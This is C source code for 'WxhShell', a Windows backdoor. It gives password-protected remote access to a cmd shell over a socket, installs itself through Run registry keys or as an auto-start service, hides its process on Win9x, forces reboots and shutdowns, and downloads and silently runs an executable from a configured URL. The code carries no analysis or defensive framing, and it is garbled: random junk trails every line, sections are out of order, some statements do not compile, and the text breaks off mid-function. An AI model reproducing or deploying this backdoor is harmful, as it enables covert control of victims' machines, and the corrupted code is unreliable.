    else { OB7hlW  
    closesocket(wsh); r>\bW)e  
    ExitThread(0); '|4!5)/K  
    } vy/-wP|1  
    break; y]im Z4{/  
    } SaCh 7 ^  
  // 获取shell :EH=_"  
  case 's': { "ta x?  
    CmdShell(wsh); $cR{o#  
    closesocket(wsh); i!cCMh8  
    ExitThread(0); p7Cs.2>M>S  
    break; yN c2@  
  } KG@8RtHsQ  
  // 退出 &{RDM~  
  case 'x': { G j1_!.T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;]fs'LH  
    CloseIt(wsh); {[(h[MW#  
    break; OTp]Xe/  
    } fV:83|eQ  
  // 离开 .o8t+X'G  
  case 'q': { @6d[=!9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y~Ifj,\  
    closesocket(wsh); IAEAhqp  
    WSACleanup(); nie%eC&U  
    exit(1); Wf<LR3  
    break; fLVAKn  
        } bfO=;S]b!  
  } `kr?j:g  
  } a> )f=uS  
w:l"\Tm  
  // 提示信息 <or2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W l1 6`9  
} - DCbko  
  } yBRC*0+Vy  
m3ff;,  
  return; {^'HL   
} 4~=l}H>&  
0ksa  
// shell模块句柄 ?}7p"3j'z  
int CmdShell(SOCKET sock) -F92-jBM4  
{ 66 Tpi![  
STARTUPINFO si; 7 ?t6UPf  
ZeroMemory(&si,sizeof(si)); ^J d r>@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v@Ox:wl>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zT[!o j7  
PROCESS_INFORMATION ProcessInfo; smLQS+UE  
char cmdline[]="cmd"; *j-aXN/$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &0f,~ /%Z  
  return 0; dTtSUA|V7"  
} 2JFpZU"1  
2-b6gc7  
// 自身启动模式 &OBkevg  
int StartFromService(void) MW{8VH6+  
{ T>GM%^h,7-  
typedef struct XUw/2"D'?  
{ e|9 A716x  
  DWORD ExitStatus; c"Sq~X  
  DWORD PebBaseAddress; #[a*rD%m  
  DWORD AffinityMask; fzA9'i`  
  DWORD BasePriority; X jX2]  
  ULONG UniqueProcessId; xKC[=E>z  
  ULONG InheritedFromUniqueProcessId; yEoV[K8k  
}   PROCESS_BASIC_INFORMATION; JCaOK2XT;  
W%)Y#C  
PROCNTQSIP NtQueryInformationProcess; 9/7u*>:  
tl].r|yl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;>YzEo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,(4K4pN  
M[uA@  
  HANDLE             hProcess; 6&-(&( _  
  PROCESS_BASIC_INFORMATION pbi; HmwT~  
D0q ":WvE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wm3X[?V  
  if(NULL == hInst ) return 0; 9,tej  
XrPfotj1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F>cv<l =6l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @K]|K]cby  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^H' \"9;7  
p^_yU_  
  if (!NtQueryInformationProcess) return 0;  kwA$Z!Rn  
{GO#.P"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +{U cspqM  
  if(!hProcess) return 0; x;')9/3  
-]=@s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ((I%'   
>U3cTEs cj  
  CloseHandle(hProcess); 39|MX21k  
&I406Z f7y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;'Nd~:-]  
if(hProcess==NULL) return 0; QwJyY{O`  
d M-%{  
HMODULE hMod; 9E6R0D}  
char procName[255]; pD74+/DD  
unsigned long cbNeeded; Bnd [X  
f`/x"@~H5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,iq4Iw  
t_suF$  
  CloseHandle(hProcess); Ki~1qu:  
yOg+iFTr  
if(strstr(procName,"services")) return 1; // 以服务启动 O#u=c1 ?:  
,u g@f-T  
  return 0; // 注册表启动 AFfAtu  
} 0AV c  
\_U$"/$4VH  
// 主模块 A={UL  
int StartWxhshell(LPSTR lpCmdLine) p6WX9\qS(  
{ 6i*sm.SDw  
  SOCKET wsl; 4,0{7MLgK  
BOOL val=TRUE; ;Q&5,< N)j  
  int port=0; h65-s  
  struct sockaddr_in door; XS BA$y  
uOGw9O-d9  
  if(wscfg.ws_autoins) Install(); ilva,WFa^  
-o.:P>/  
port=atoi(lpCmdLine); W"3ph6[eW  
"x /OIf  
if(port<=0) port=wscfg.ws_port; _Y[bMuUb=  
[66! bM&  
  WSADATA data; uXq. ]ub  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gl_^V&c  
(Clkv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 N7^?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eNu7~3k}  
  door.sin_family = AF_INET; Jdp3nzM^^@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Xd<74Nu  
  door.sin_port = htons(port); {GcO3G#FZ  
,i@:5X/t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z87|Zl  
closesocket(wsl); >6pf$0  
return 1; dw7$Vh0y  
} ~F?u)~QZ #  
!7&5` q7  
  if(listen(wsl,2) == INVALID_SOCKET) { ,-e{(L  
closesocket(wsl); .K<Q&  
return 1; o7LuKRl   
} o\)F}j&b#=  
  Wxhshell(wsl); 9 5RBO4w%w  
  WSACleanup(); f0aKlhEC  
gOOPe5+ J  
return 0; XEZF{lP  
.@Dxp]/B}  
} 0k(a VkZ I  
19KQlMO.G  
// 以NT服务方式启动 9]wN Bd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b,%C{mC  
{ +XYE{E5  
DWORD   status = 0; ")HFYqP>9  
  DWORD   specificError = 0xfffffff; ~<OSYb  
x~j`@k,;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oF GhNk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  {s{j~M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w(TJ*::T  
  serviceStatus.dwWin32ExitCode     = 0; QW~1%`  
  serviceStatus.dwServiceSpecificExitCode = 0; V}NbuvDB@  
  serviceStatus.dwCheckPoint       = 0; 'anG:=  
  serviceStatus.dwWaitHint       = 0; lR6x3C H@  
p Q<Y:-`c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ig':%2V/  
  if (hServiceStatusHandle==0) return; Oh\<VvZuN  
A7hVHxNJ-  
status = GetLastError(); g!z&~Z:  
  if (status!=NO_ERROR) ^B 2 -)  
{ klR|6u]%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fLm*1S|%\  
    serviceStatus.dwCheckPoint       = 0; |WdPE@P  
    serviceStatus.dwWaitHint       = 0; 3J438M.ka  
    serviceStatus.dwWin32ExitCode     = status; yD6[\'%  
    serviceStatus.dwServiceSpecificExitCode = specificError; hzbw>g+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wh 2tNyS  
    return; v+=BCyT  
  } 3nnJ8zQ  
Eue~Y+K*b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }sO&. ME  
  serviceStatus.dwCheckPoint       = 0; B\:%ufd ~  
  serviceStatus.dwWaitHint       = 0; ; XN{x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %O;bAC_M  
} ["e3Ez  
5=?\1`e1[  
// 处理NT服务事件,比如:启动、停止 o"BoZsMk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WYYa /,{9.  
{ )$bS}.  
switch(fdwControl) do+.aOC  
{ kO*$"w#X[p  
case SERVICE_CONTROL_STOP: n%s]30Xs  
  serviceStatus.dwWin32ExitCode = 0; "?I y(*^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2WVka  
  serviceStatus.dwCheckPoint   = 0; (<oy N7NT  
  serviceStatus.dwWaitHint     = 0; ?r2` Q  
  { LRG6:&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &wE%<"aRAl  
  } o\pVpbB  
  return; TNh1hhJ$b  
case SERVICE_CONTROL_PAUSE: #PQB(=299P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BC<^a )D=  
  break; K8.!_ c  
case SERVICE_CONTROL_CONTINUE: :#?5X|Gz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f|lU6EkU  
  break; J 9iy  
case SERVICE_CONTROL_INTERROGATE: X;c'[q  
  break; tX %5BTv  
}; >!1.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jrpx}2'9:a  
} p\ZNy\N^  
s;vHPUB\n  
// 标准应用程序主函数 vf%&4\ib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,.1Psz^U  
{ ,lA  s  
6@0OQb  
// 获取操作系统版本 Fv<F}h?6  
OsIsNt=GetOsVer(); .KUv( -  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6WJ)by  
"Yj'oE% \  
  // 从命令行安装 aAMVsE{  
  if(strpbrk(lpCmdLine,"iI")) Install(); C-MjJ6D<  
zvH8^1yzG  
  // 下载执行文件 :Ab%g-  
if(wscfg.ws_downexe) { 2=`o_<P'"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 04l!:Tp,  
  WinExec(wscfg.ws_filenam,SW_HIDE); *P2S6z2  
} ],a5)kV  
TS9|a{j3!  
if(!OsIsNt) { Yqi4&~?db  
// 如果时win9x,隐藏进程并且设置为注册表启动 &3Sz je  
HideProc(); d]6#m'U  
StartWxhshell(lpCmdLine); #& Rw&  
} 1\>^m  
else [t@Mn  
  if(StartFromService()) &wCg\j_c  
  // 以服务方式启动 K[r^'P5m  
  StartServiceCtrlDispatcher(DispatchTable); >X4u]>X  
else F!Q@ u  
  // 普通方式启动  jQ  
  StartWxhshell(lpCmdLine); &Ao+X=qw  
u5 : q$P  
return 0; /qGf 1MHD  
} 'JfdV%M  
q~ZNd3O  
78# v  
R$TB1w9]  
=========================================== QpA/SmJ  
#32"=MfQn  
-pGE]nwDL  
Y>G@0r BG  
0ANZAX5  
kZZh"#W: L  
" cm[&?  
Dq5j1m.  
#include <stdio.h> $gy*D7  
#include <string.h> X4E%2-m@'  
#include <windows.h> a8iQ4   
#include <winsock2.h> f@DYN!Z_m  
#include <winsvc.h> h=kh@},  
#include <urlmon.h> `A^"% @j  
C:C}5<fk x  
#pragma comment (lib, "Ws2_32.lib") E}p&2P+MR  
#pragma comment (lib, "urlmon.lib") ;1.,Sn+zO  
_Khc3Jo  
#define MAX_USER   100 // 最大客户端连接数 Z9 9>5\k  
#define BUF_SOCK   200 // sock buffer D.Q=]jOs  
#define KEY_BUFF   255 // 输入 buffer M#VE]J  
/ZPyN<@  
#define REBOOT     0   // 重启 `~Zs0  
#define SHUTDOWN   1   // 关机 EzV96+  
0#&5.Gr)  
#define DEF_PORT   5000 // 监听端口 [uq$5u  
?$^2Umt 0  
#define REG_LEN     16   // 注册表键长度 7=WT69,&  
#define SVC_LEN     80   // NT服务名长度 (>GK \=:<  
`[)YEg s  
// 从dll定义API %i-c0|,T4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _m'Fr 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r{ef.^&:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ReI/]#Us  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hp|_6hO 2  
4 G-wd  
// wxhshell配置信息 "a"]o  
struct WSCFG { qI<mjB{3`  
  int ws_port;         // 监听端口 'BPp ]R#{  
  char ws_passstr[REG_LEN]; // 口令 >wBJy4:  
  int ws_autoins;       // 安装标记, 1=yes 0=no V=V:SlS9|  
  char ws_regname[REG_LEN]; // 注册表键名 M&U j^K1  
  char ws_svcname[REG_LEN]; // 服务名 3]UUG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RUT,Y4 b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U,q\em R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7C ,UDp|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .wu xoq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w1#gOwA,$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?zVL;gVWA  
f[~L?B;_L  
}; ;)e2 @'Agl  
"WK{ >T  
// default Wxhshell configuration o=?C&f{  
struct WSCFG wscfg={DEF_PORT, 5HO9 +i  
    "xuhuanlingzhe", h!ZV8yMc  
    1, >W`4aA  
    "Wxhshell", yA(K=?sq  
    "Wxhshell", kO{s^_qR^c  
            "WxhShell Service", /)(#{i*  
    "Wrsky Windows CmdShell Service", ;Tc`}2  
    "Please Input Your Password: ", xs:n\N  
  1,  <**y !2  
  "http://www.wrsky.com/wxhshell.exe", ~UjGSO)z}  
  "Wxhshell.exe" ``e$AS  
    }; *nsAgGKKM^  
]=";IN:SU  
// 消息定义模块 GBFtr   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [7S} g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dW~*e2nq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i35=Y~P-  
char *msg_ws_ext="\n\rExit."; ^?]%sdT q  
char *msg_ws_end="\n\rQuit."; Yvjc1  
char *msg_ws_boot="\n\rReboot..."; Qx47l  
char *msg_ws_poff="\n\rShutdown..."; 69NQ]{1  
char *msg_ws_down="\n\rSave to "; yz*6W zD  
UHxE)]J  
char *msg_ws_err="\n\rErr!"; MR<;i2p  
char *msg_ws_ok="\n\rOK!"; C[Dav&=^F  
aj,T)oDbt6  
char ExeFile[MAX_PATH]; I=9!Rs(QF  
int nUser = 0; z` FCs,?K  
HANDLE handles[MAX_USER]; B0WJ/)rK<  
int OsIsNt; ez!C?  
8o 0%@5M  
SERVICE_STATUS       serviceStatus; ' n$ %Ls}S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ql?=(b;D  
hk;7:G  
// 函数声明 (BfgwC)  
int Install(void); Zg`Mz _?  
int Uninstall(void); S"k *6 U  
int DownloadFile(char *sURL, SOCKET wsh); 'hv k  
int Boot(int flag); qt^T6+faaQ  
void HideProc(void); ZMLg;-T.&4  
int GetOsVer(void); 5-0{+R5v  
int Wxhshell(SOCKET wsl); jSuL5|Gui  
void TalkWithClient(void *cs); cEd+MCN  
int CmdShell(SOCKET sock); mL`5u f  
int StartFromService(void); Eb>78k(3I)  
int StartWxhshell(LPSTR lpCmdLine); (S`2[.j  
mzc 4/<th  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `o?Ph&p}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r~nsN*t  
VZ](uFBY  
// 数据结构和表定义 1`9xIm*9w  
SERVICE_TABLE_ENTRY DispatchTable[] = !i%"7tQ3$  
{ zyg  }F  
{wscfg.ws_svcname, NTServiceMain}, e^Ky<*Y  
{NULL, NULL} z)=+ F]  
}; XNb ZNaAd  
,qrQ"r9  
// 自我安装 GS Q/NYK  
int Install(void) Mz;[+p  
{ V{&rQ@{W  
  char svExeFile[MAX_PATH]; J@ktyd(P  
  HKEY key; 3y~r72J  
  strcpy(svExeFile,ExeFile); t 6^l`6:p  
[j:[  
// 如果是win9x系统,修改注册表设为自启动 F0UVo  
if(!OsIsNt) { 13&0rLS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .eO?Z^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  g}U3y'  
  RegCloseKey(key); la?Wnw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/PlcV_M"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $4T2z-  
  RegCloseKey(key); p/ >`[I  
  return 0; $<|l E/_]  
    } ?cEskafb>  
  } tpTAeQ*:d  
} I]y.8~xs  
else { %9#gB  
:BGA.  
// 如果是NT以上系统,安装为系统服务 cl*PFQp9j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @M8|(N%  
if (schSCManager!=0) 2JS`Wqy  
{ Z0>DNmH*  
  SC_HANDLE schService = CreateService \Ro^*4B  
  ( BiZ=${y  
  schSCManager, ([V V%ovZ  
  wscfg.ws_svcname, lM[XS4/TRa  
  wscfg.ws_svcdisp, b4""|P?L  
  SERVICE_ALL_ACCESS, q;wLa#4)J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VCcr3Dx()F  
  SERVICE_AUTO_START, *I0-O*Xr  
  SERVICE_ERROR_NORMAL, rUjdq/I:Z  
  svExeFile, oejfU;+$  
  NULL, M}wXJ8aF?  
  NULL, Ep4Hqx $  
  NULL, FHPXu59u  
  NULL, !HJ$UG/\  
  NULL AisN@  
  ); ?P7]u>H  
  if (schService!=0) q(5+xSg"gK  
  { P0-Fc@&Y  
  CloseServiceHandle(schService); x/ :4 {  
  CloseServiceHandle(schSCManager); ow'lRHZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sW^a`VM  
  strcat(svExeFile,wscfg.ws_svcname); rqlc2m,<-p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^U8r0]9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^:jN3@ Q%  
  RegCloseKey(key); yRYWch  
  return 0; R, 8s_jN  
    } 5')8r ';,  
  } ;!T{%-tP  
  CloseServiceHandle(schSCManager); ?n\*,{9  
} .~gl19#:T  
} Jj^GWZRu  
g3%t8O/M  
return 1; ro[Y-o5Q0  
} l#wdpD a{  
h !(>7/Gi  
// 自我卸载 zK+52jhi  
int Uninstall(void) OW(&s,|6x  
{ Ih[+K#t+E  
  HKEY key; Zzl,gy70  
2`= 6%s  
if(!OsIsNt) { :;!\vfZbU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'iLH `WE  
  RegDeleteValue(key,wscfg.ws_regname); {hO`6mr&t  
  RegCloseKey(key); H2-28XGc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @l UlY2  
  RegDeleteValue(key,wscfg.ws_regname); 3v!~cC~cI  
  RegCloseKey(key); (,xZGa  
  return 0; AP\ofLmq  
  } v1.q$ f^(  
} Us~ X9n_F  
} !z zW2>  
else { qYp$fmj  
Y#01o&f0n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8)\M:s~7&  
if (schSCManager!=0) qOG}[%<^n7  
{ [W,-1.$!dM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n|4;Hn1V  
  if (schService!=0) hD<f3_k  
  { :<~7y.*O{  
  if(DeleteService(schService)!=0) { !1uzX Kb  
  CloseServiceHandle(schService); ]PNow S\  
  CloseServiceHandle(schSCManager); b]]N{: I  
  return 0; '?GQ~Bf<>  
  } +TRy:e  
  CloseServiceHandle(schService); `$z)$VuP  
  } zSjgx_#U  
  CloseServiceHandle(schSCManager); -&[z\"T  
} ;</Twm;:  
} (w2= 2$  
'?Iif#Z1  
return 1; <V_7|)'/A  
} >AI<60/<  
*N/hc  
// 从指定url下载文件 ad`_>lA4Lp  
int DownloadFile(char *sURL, SOCKET wsh) Pcu|k/tk  
{ 8Xm@r#Oy5  
  HRESULT hr; u=qPzmywt  
char seps[]= "/";  c!uW}U_z  
char *token; chAan~r[*  
char *file; (=T$_-Dj`}  
char myURL[MAX_PATH]; i!MwBYk  
char myFILE[MAX_PATH]; c/u_KJFF-n  
}G1&]Wt_  
strcpy(myURL,sURL); ;~sr$6  
  token=strtok(myURL,seps); y>(rZ^y&  
  while(token!=NULL) nb@"?<L!  
  { ?|t/mo|K?  
    file=token; -'C!"\%  
  token=strtok(NULL,seps); 9|!j4DS<  
  } }&G]0hCT!  
IvW@o1Q  
GetCurrentDirectory(MAX_PATH,myFILE); ?G/hJ?3  
strcat(myFILE, "\\"); iG[? ]]  
strcat(myFILE, file); Ds5N Ap:x  
  send(wsh,myFILE,strlen(myFILE),0); ^@}#me@  
send(wsh,"...",3,0); Eqphd!\#6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (buw^ ,NwZ  
  if(hr==S_OK) < `Z%O<X  
return 0; cINHH !v  
else H|+tC=]4IZ  
return 1; 5iWe-xQ>  
{:Vf0Mhb  
} =p\Xy*  
,sb1"^Wc  
// 系统电源模块 ~|) 9RUXr>  
int Boot(int flag) 4S *,\q]q  
{ "]]q} O?  
  HANDLE hToken; d]M[C[TOX  
  TOKEN_PRIVILEGES tkp; 2X @G"  
} 21j  
  if(OsIsNt) { .u< U:*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '>^Xqn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "r-l8r,  
    tkp.PrivilegeCount = 1; vO$ra5Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7>x;B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A'DVJ9%xB  
if(flag==REBOOT) { u3wL<$2[8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X7e/:._SAH  
  return 0; sA_X<>vAKJ  
} R[ yL _>  
else { z Z%/W)t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )bYez  
  return 0; H%Y%fQ ~^  
} dB`b9)Tk0z  
  } YMAQ+A!  
  else { <-|SIF  
if(flag==REBOOT) { `)tK^[,<W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 98<zCSe\]  
  return 0; C.E[6$oVc  
} oO:LG%q  
else { 31 ] 7z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Vx+[8W  
  return 0; 9U10d&M(  
} YY!!<2_  
} 9N}W(>  
#^\}xn" [  
return 1; $j !8?  
} !3KPwI,  
U,3d) ]Zy&  
// win9x进程隐藏模块 .S|-4}G(6  
void HideProc(void) 3LrsWAz'  
{ J<_1z':W)  
XZ@ >]P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R`C.ha  
  if ( hKernel != NULL ) ^I./L)0= }  
  { X RRJ)}P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >q&L/N5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fm6]CU1^  
    FreeLibrary(hKernel); J3\)Jy  
  } GI4oQcJ  
hgj0tIi/  
return; nwVtfsb  
} |U0@(H  
Hn.UJ4V  
// 获取操作系统版本 yh!vl&8M  
int GetOsVer(void) -|mRJVl8  
{ CAO{$<M5m  
  OSVERSIONINFO winfo; ;c}];ZU3G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +r"$?bw '  
  GetVersionEx(&winfo); W5{e.eI}|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n&JP/P3Y  
  return 1; dy'?@Lj;  
  else B&D z(Bs  
  return 0; jz0\F,s  
} HDxw2nz*R  
&*SnDuc  
// 客户端句柄模块 !ZdUW]  
int Wxhshell(SOCKET wsl) p:))ne:7  
{ zvj\n9H  
  SOCKET wsh; HB:i0m2fJW  
  struct sockaddr_in client; !9NAm?Fw  
  DWORD myID; F*H}5yBp_:  
2e=Hjf )  
  while(nUser<MAX_USER) $4]PN2d&  
{ gd*?kXpt  
  int nSize=sizeof(client); WdnP[x9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ozG:f*{T  
  if(wsh==INVALID_SOCKET) return 1; egvWPht'_  
9IV WbJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?i"FdpW  
if(handles[nUser]==0) pj6Cvq4bD  
  closesocket(wsh); M IJ~j><L  
else Sq QB>;/p  
  nUser++; I&c#U+-A'  
  } on$a]zx'@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l|{<!7a  
v2Y=vr  
  return 0; hW&UG#PY>  
} hd' n"  
N0f}q1S<-A  
// 关闭 socket m~A/.t%=  
void CloseIt(SOCKET wsh) \8ZNXCP  
{ -D(!B56_  
closesocket(wsh); E83nEUs  
nUser--; Cz%ih#^b  
ExitThread(0); 71InYIed  
} YoA$Gw2  
he #iWD'  
// 客户端请求句柄 C/=ZNl9"fn  
void TalkWithClient(void *cs) 98"NUT  
{ w93,N+es6  
3IIlAzne;  
  SOCKET wsh=(SOCKET)cs; z7o5 9&  
  char pwd[SVC_LEN]; o-_ a0j  
  char cmd[KEY_BUFF]; *k -UQLJ  
char chr[1]; Z"u/8  
int i,j; $9/r*@bu8d  
$}@l l^  
  while (nUser < MAX_USER) { Yc}b&  
\T?O.  
if(wscfg.ws_passstr) { 9)qx0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V'B 6C#jT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FgxQ}VvlH  
  //ZeroMemory(pwd,KEY_BUFF); 0Qz \"gr  
      i=0; p*Cbe\  
  while(i<SVC_LEN) { l3,|r QD  
3 0Z;}<)9  
  // 设置超时 P%c<0y"O:>  
  fd_set FdRead; 9^n ]qg^  
  struct timeval TimeOut; rcOmpgew  
  FD_ZERO(&FdRead); ~ p.23G]x  
  FD_SET(wsh,&FdRead); R\^tr  
  TimeOut.tv_sec=8; [(XKqiSV  
  TimeOut.tv_usec=0; X%sc:V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '4iu0ie>D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jx]`!dP3  
U\N`[k.F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZ)Jgz  
  pwd=chr[0]; o9CB ,c7]  
  if(chr[0]==0xd || chr[0]==0xa) { (DU{o\=  
  pwd=0; _ i8}ld-  
  break; 9Z=Bs)-y.  
  } Y`wi=(  
  i++; WG,{:|!E  
    } IaB A2  
#X+)  
  // 如果是非法用户,关闭 socket YL]x>7T~4t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /D12N'VaE  
} fg2}~ 02n  
A+'j@c\&!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YG_3@`-<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &AzA0r&,  
t0Uax-E(  
while(1) { ][Kj^7/  
kF ?\p`[a  
  ZeroMemory(cmd,KEY_BUFF); {,m!%FDL  
L_(|5#IDw  
      // 自动支持客户端 telnet标准   J<2N~$  
  j=0; ]du pU"VV  
  while(j<KEY_BUFF) { "-9YvB#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .._wTOSq  
  cmd[j]=chr[0]; ?Gb 18m  
  if(chr[0]==0xa || chr[0]==0xd) { li'#< "R?'  
  cmd[j]=0; =8]'/b  
  break; +#O?sI#  
  } d%<Uh(+:  
  j++; W \"cp[b  
    } E4P P& '  
[30<  0  
  // 下载文件 *N't ;  
  if(strstr(cmd,"http://")) { 5%9& 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^;'3(m=  
  if(DownloadFile(cmd,wsh)) n`6vM4rM)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v^vEaB  
  else )gE:@ 3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .gB#g{5+J  
  } qYE-z( i  
  else { mesR)fTI  
,E_hG3}}  
    switch(cmd[0]) { >q`G?9d2  
  %P?W^mI  
